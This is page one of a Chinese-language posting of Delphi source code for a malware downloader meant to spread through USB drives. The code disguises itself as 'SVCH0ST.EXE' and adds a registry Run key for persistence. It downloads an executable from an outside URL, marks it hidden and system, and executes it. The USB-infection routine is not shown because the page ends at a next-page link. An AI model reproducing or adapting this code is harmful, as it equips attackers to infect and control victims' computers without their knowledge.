下载者U盘传染源码

unit Un_Main;


interface


uses
     Windows, Messages, SysUtils,Forms,IniFiles;
type
     TFrm_Main = class(TForm)
     procedure FormCreate(Sender: TObject);
     procedure FormClose(Sender: TObject; var Action: TCloseAction);
     private
     procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
     public
     { Public declarations }
     end;
const 
         exefile = 'SVCH0ST.EXE';
         Buffer = 'http://www.888.com/hello.exe';
         DBT_DEVICEARRIVAL = $8000;     // system detected a new device
         DBT_DEVICEREMOVECOMPLETE = $8004;     // device is gone
         DBT_DEVTYP_VOLUME = $00000002;     // logical volume
         DBTF_MEDIA = $0001;     // media comings and goings
type
    PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
    TDEV_BROADCAST_HDR = packed record
     dbch_size : DWORD;
     dbch_devicetype : DWORD;
     dbch_reserved : DWORD;
    end;
     PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
     TDEV_BROADCAST_VOLUME = packed record
         dbcv_size : DWORD;
         dbcv_devicetype : DWORD;
         dbcv_reserved : DWORD;
         dbcv_unitmask : DWORD;
         dbcv_flags : WORD;
     end;


function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
                                     StatusCB: Pointer): LongWord;
                                     stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';


function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
                         stdcall; external 'kernel32.dll' name 'WinExec';


var
     Frm_Main: TFrm_Main;
     exefull:string;
implementation


{$R *.dfm}


function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
     result := false;
     RegCreateKey(key,PChar(subkey),regkey);
     if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
     result := true;
     RegCloseKey(regkey);
end;


procedure Startup(var TheName:string);
begin
     SetRegValue(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run','SVCH0ST',TheName);
     UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
     SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
     messagebox(0,'文件下载成功！','成功',MB_OK);
     WinExec(PChar(TheName), SW_SHOWDEFAULT);
     //Sleep(500);
     //DeleteMe;
     //freemem(@path,256);
end;

[1] [2] 下一页